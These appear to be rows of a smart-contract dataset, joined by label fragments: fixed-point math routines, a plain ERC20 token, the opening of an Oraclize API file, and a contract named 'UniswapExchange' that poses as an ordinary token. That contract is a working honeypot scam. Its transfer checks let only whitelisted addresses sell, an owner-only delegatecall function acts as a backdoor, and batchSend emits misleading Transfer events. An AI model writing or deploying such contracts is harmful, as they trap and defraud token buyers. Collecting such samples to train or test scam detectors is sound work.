uint128 result = divuu (x, y);
require (result <= uint128 (MAX_64x64));
return int128 (result);
}
/**
* Calculate -x. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function neg (int128 x) internal pure returns (int128) {
require (x != MIN_64x64);
return -x;
}
/**
* Calculate |x|. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function abs (int128 x) internal pure returns (int128) {
require (x != MIN_64x64);
return x < 0 ? -x : x;
}
/**
* Calculate 1 / x rounding towards zero. Revert on overflow or when x is
* zero.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function inv (int128 x) internal pure returns (int128) {
require (x != 0);
int256 result = int256 (0x100000000000000000000000000000000) / x;
require (result >= MIN_64x64 && result <= MAX_64x64);
return int128 (result);
}
/**
* Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function avg (int128 x, int128 y) internal pure returns (int128) {
return int128 ((int256 (x) + int256 (y)) >> 1);
}
/**
* Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.
* Revert on overflow or in case x * y is negative.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function gavg (int128 x, int128 y) internal pure returns (int128) {
int256 m = int256 (x) * int256 (y);
require (m >= 0);
require (m <
0x4000000000000000000000000000000000000000000000000000000000000000);
return int128 (sqrtu (uint256 (m), uint256 (x) + uint256 (y) >> 1));
}
/**
* Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number
* and y is unsigned 256-bit integer number. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @param y uint256 value
* @return signed 64.64-bit fixed point number
*/
function pow (int128 x, uint256 y) internal pure returns (int128) {
uint256 absoluteResult;
bool negativeResult = false;
if (x >= 0) {
absoluteResult = powu (uint256 (x) << 63, y);
} else {
// We rely on overflow behavior here
absoluteResult = powu (uint256 (uint128 (-x)) << 63, y);
negativeResult = y & 1 > 0;
}
absoluteResult >>= 63;
if (negativeResult) {
require (absoluteResult <= 0x80000000000000000000000000000000);
return -int128 (absoluteResult); // We rely on overflow behavior here
} else {
require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
return int128 (absoluteResult); // We rely on overflow behavior here
}
}
/**
* Calculate sqrt (x) rounding down. Revert if x < 0.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function sqrt (int128 x) internal pure returns (int128) {
require (x >= 0);
return int128 (sqrtu (uint256 (x) << 64, 0x10000000000000000));
}
/**
* Calculate binary logarithm of x. Revert if x <= 0.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function log_2 (int128 x) internal pure returns (int128) {
require (x > 0);
int256 msb = 0;
int256 xc = x;
if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }
if (xc >= 0x100000000) { xc >>= 32; msb += 32; }
if (xc >= 0x10000) { xc >>= 16; msb += 16; }
if (xc >= 0x100) { xc >>= 8; msb += 8; }
if (xc >= 0x10) { xc >>= 4; msb += 4; }
if (xc >= 0x4) { xc >>= 2; msb += 2; }
if (xc >= 0x2) msb += 1; // No need to shift xc anymore
int256 result = msb - 64 << 64;
uint256 ux = uint256 (x) << 127 - msb;
for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {
ux *= ux;
uint256 b = ux >> 255;
ux >>= 127 + b;
result += bit * int256 (b);
}
return int128 (result);
}
/**
* Calculate natural logarithm of x. Revert if x <= 0.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function ln (int128 x) internal pure returns (int128) {
require (x > 0);
return int128 (
uint256 (log_2 (x)) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128);
}
/**
* Calculate binary exponent of x. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function exp_2 (int128 x) internal pure returns (int128) {
require (x < 0x400000000000000000); // Overflow
if (x < -0x400000000000000000) return 0; // Underflow
uint256 result = 0x80000000000000000000000000000000;
if (x & 0x8000000000000000 > 0)
result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;
if (x & 0x4000000000000000 > 0)
result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;
if (x & 0x2000000000000000 > 0)
result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;
if (x & 0x1000000000000000 > 0)
result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;
if (x & 0x800000000000000 > 0)
result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;
if (x & 0x400000000000000 > 0)
result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;
if (x & 0x200000000000000 > 0)
result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;
if (x & 0x100000000000000 > 0)
result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;
if (x & 0x80000000000000 > 0)
result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;
if (x & 0x40000000000000 > 0)
result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;
if (x & 0x20000000000000 > 0)
result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;
if (x & 0x10000000000000 > 0)
result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128;
if (x & 0x8000000000000 > 0)
result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;
if (x & 0x4000000000000 > 0)
result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;
if (x & 0x2000000000000 > 0)
result = result * 0x1000162E525EE054754457D5995292026 >> 128;
if (x & 0x1000000000000 > 0)
result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;
if (x & 0x800000000000 > 0)
result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;
if (x & 0x400000000000 > 0)
result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;
if (x & 0x200000000000 > 0)
result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;
if (x & 0x100000000000 > 0)
result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;
if (x & 0x80000000000 > 0)
result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;
if (x & 0x40000000000 > 0)
result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;
if (x & 0x20000000000 > 0)
result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;
if (x & 0x10000000000 > 0)
result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;
if (x & 0x8000000000 > 0)
result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;
if (x & 0x4000000000 > 0)
result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;
if (x & 0x2000000000 > 0)
result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;
if (x & 0x1000000000 > 0)
result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;
if (x & 0x800000000 > 0)
result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;
if (x & 0x400000000 > 0)
result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;
if (x & 0x200000000 > 0)
result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;
if (x & 0x100000000 > 0)
result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;
if (x & 0x80000000 > 0)
result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;
if (x & 0x40000000 > 0)
result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;
if (x & 0x20000000 > 0)
result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;
if (x & 0x10000000 > 0)
result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;
if (x & 0x8000000 > 0)
result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;
if (x & 0x4000000 > 0)
result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;
if (x & 0x2000000 > 0)
result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;
if (x & 0x1000000 > 0)
result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;
if (x & 0x800000 > 0)
result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;
if (x & 0x400000 > 0)
result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;
if (x & 0x200000 > 0)
result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;
if (x & 0x100000 > 0)
result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;
if (x & 0x80000 > 0)
result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;
if (x & 0x40000 > 0)
result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;
if (x & 0x20000 > 0)
result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;
if (x & 0x10000 > 0)
result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;
if (x & 0x8000 > 0)
result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;
if (x & 0x4000 > 0)
result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;
if (x & 0x2000 > 0)
result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;
if (x & 0x1000 > 0)
result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;
if (x & 0x800 > 0)
result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;
if (x & 0x400 > 0)
result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;
if (x & 0x200 > 0)
result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;
if (x & 0x100 > 0)
result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;
if (x & 0x80 > 0)
result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;
if (x & 0x40 > 0)
result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;
if (x & 0x20 > 0)
result = result * 0x100000000000000162E42FEFA39EF366F >> 128;
if (x & 0x10 > 0)
result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;
if (x & 0x8 > 0)
result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;
if (x & 0x4 > 0)
result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;
if (x & 0x2 > 0)
result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;
if (x & 0x1 > 0)
result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;
result >>= 63 - (x >> 64);
require (result <= uint256 (MAX_64x64));
return int128 (result);
}
/**
* Calculate natural exponent of x. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function exp (int128 x) internal pure returns (int128) {
require (x < 0x400000000000000000); // Overflow
if (x < -0x400000000000000000) return 0; // Underflow
return exp_2 (
int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));
}
/**
* Calculate x / y rounding towards zero, where x and y are unsigned 256-bit
* integer numbers. Revert on overflow or when y is zero.
*
* @param x unsigned 256-bit integer number
* @param y unsigned 256-bit integer number
* @return unsigned 64.64-bit fixed point number
*/
function divuu (uint256 x, uint256 y) private pure returns (uint128) {
require (y != 0);
uint256 result;
if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
result = (x << 64) / y;
else {
uint256 msb = 192;
uint256 xc = x >> 192;
if (xc >= 0x100000000) { xc >>= 32; msb += 32; }
if (xc >= 0x10000) { xc >>= 16; msb += 16; }
if (xc >= 0x100) { xc >>= 8; msb += 8; }
if (xc >= 0x10) { xc >>= 4; msb += 4; }
if (xc >= 0x4) { xc >>= 2; msb += 2; }
if (xc >= 0x2) msb += 1; // No need to shift xc anymore
result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);
require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
uint256 hi = result * (y >> 128);
uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
uint256 xh = x >> 192;
uint256 xl = x << 64;
if (xl < lo) xh -= 1;
xl -= lo; // We rely on overflow behavior here
lo = hi << 128;
if (xl < lo) xh -= 1;
xl -= lo; // We rely on overflow behavior here
assert (xh == hi >> 128);
result += xl / y;
}
require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
return uint128 (result);
}
/**
* Calculate x^y assuming 0^0 is 1, where x is unsigned 129.127 fixed point
* number and y is unsigned 256-bit integer number. Revert on overflow.
*
* @param x unsigned 129.127-bit fixed point number
* @param y uint256 value
* @return unsigned 129.127-bit fixed point number
*/
function powu (uint256 x, uint256 y) private pure returns (uint256) {
if (y == 0) return 0x80000000000000000000000000000000;
else if (x == 0) return 0;
else {
int256 msb = 0;
uint256 xc = x;
if (xc >= 0x100000000000000000000000000000000) { xc >>= 128; msb += 128; }
if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }
if (xc >= 0x100000000) { xc >>= 32; msb += 32; }
if (xc >= 0x10000) { xc >>= 16; msb += 16; }
if (xc >= 0x100) { xc >>= 8; msb += 8; }
if (xc >= 0x10) { xc >>= 4; msb += 4; }
if (xc >= 0x4) { xc >>= 2; msb += 2; }
if (xc >= 0x2) msb += 1; // No need to shift xc anymore
int256 xe = msb - 127;
if (xe > 0) x >>= xe;
else x <<= -xe;
uint256 result = 0x80000000000000000000000000000000;
int256 re = 0;
while (y > 0) {
if (y & 1 > 0) {
result = result * x;
y -= 1;
re += xe;
if (result >=
0x8000000000000000000000000000000000000000000000000000000000000000) {
result >>= 128;
re += 1;
} else result >>= 127;
if (re < -127) return 0; // Underflow
require (re < 128); // Overflow
} else {
x = x * x;
y >>= 1;
xe <<= 1;
if (x >=
0x8000000000000000000000000000000000000000000000000000000000000000) {
x >>= 128;
xe += 1;
} else x >>= 127;
if (xe < -127) return 0; // Underflow
require (xe < 128); // Overflow
}
}
if (re > 0) result <<= re;
else if (re < 0) result >>= -re;
return result;
}
}
/**
* Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer
* number.
*
* @param x unsigned 256-bit integer number
* @return unsigned 128-bit integer number
*/
function sqrtu (uint256 x, uint256 r) private pure returns (uint128) {
if (x == 0) return 0;
else {
require (r > 0);
while (true) {
uint256 rr = x / r;
if (r == rr || r + 1 == rr) return uint128 (r);
else if (r == rr + 1) return uint128 (rr);
r = r + rr + 1 >> 1;
}
}
}
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/**
*Submitted for verification at Etherscan.io on 2021-06-22
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | True | [
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pragma solidity ^0.5.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract REVOContract is Context, ERC20, ERC20Detailed {
constructor (address owner, string memory name, string memory symbol) public ERC20Detailed(name, symbol, 18) {
_mint(owner, 15000 * (10 ** uint256(decimals())));
}
} | True | [
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] |
pragma solidity 0.4.23;
// File: contracts/oraclize/usingOraclize.sol
// <ORACLIZE_API>
/*
Copyright (c) 2015-2016 Oraclize SRL
Copyright (c) 2016 Oraclize LTD
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
// This api is currently targeted at 0.4.18, please import oraclizeAPI_pre0.4.sol or oraclizeAPI_0.4 where necessary
pragma solidity ^0.4.18;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
contract usingOraclize {
